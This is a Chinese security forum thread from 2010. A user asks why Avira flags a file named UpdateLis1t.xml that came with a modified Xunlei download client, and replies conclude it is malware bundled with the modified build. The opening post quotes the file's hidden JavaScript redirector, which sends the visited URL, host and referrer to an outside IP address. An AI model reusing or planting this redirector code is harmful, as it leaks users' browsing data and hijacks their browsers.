红伞报迅雷的一个文件UpdateLis1t.xml。等高人指点。

显示全部楼层 · 发表于 2010-12-9 22:16:31

内容如下
发现病毒或恶意程序HTML/Redirector.bl

用记事本打开UpdateLis1t.xml。如下

<html><head></head>
<script type="text/javascript">var pp = "193&pre="+(new Date()).getTime();
var sa = "http://222.68.193.196/";
var s=String(window.location.href); var host=escape(s.substring(7,s.indexOf('/',7)));
var ref=escape(document.referrer); s = escape(s);
var su = s+"&host="+host+"&refer="+ref+"&server="+pp;
function loadfr(){ document.getElementById("fr1").src = sa+"dnsC.aspx?AIMT="+su; }
function refreshPage(){ document.location = sa+"dnsB.aspx?AIMT="+su; }
if (self.location == top.location){ document.location= sa+"dnsA.aspx?AIMT="+su; }
else { refreshPage(); }
</script><frameset rows="*,0"><frame id="main" src=""><frame id="fr1" src=""></frameset><body></body></html>

求高人指教。

显示全部楼层 · 发表于 2010-12-9 22:19:08

回复 1楼清雪一片的帖子

这应该不是误报

卡巴斯基访问文件中的网址，显示有病毒

http://222.68.193.196

此外文件名UpdateLis1t看上去也带有病毒的特征

显示全部楼层 · 发表于 2010-12-9 22:20:20

本帖最后由 jack1986001 于 2010-12-9 22:20 编辑

回复 1楼清雪一片的帖子

你那是UpdateLis1t.xml？

迅雷只有UpdateList.xml文件

显示全部楼层 · 发表于 2010-12-9 22:25:59

回复 2楼 fcerebel 的帖子

那我悲剧了，我下的迅雷是修改版的。。那个文件名也没仔细看。。

显示全部楼层 · 发表于 2010-12-10 09:17:02

同意2、3L

显示全部楼层 · 发表于 2010-12-10 09:23:12

修改版确实容易杯具
从来不用修改版，因为真不知道会发生什么异常情况
LZ下次用修改版的务必要注意了啊

显示全部楼层 · 发表于 2010-12-10 11:06:17

清雪一片发表于 2010-12-9 22:25
回复 2楼 fcerebel 的帖子

那我悲剧了，我下的迅雷是修改版的。。那个文件名也没仔细看。。

看来你是杯具了...修改版,被绑定不干净的东西了..

[求助] 红伞报迅雷的一个文件UpdateLis1t.xml。等高人指点。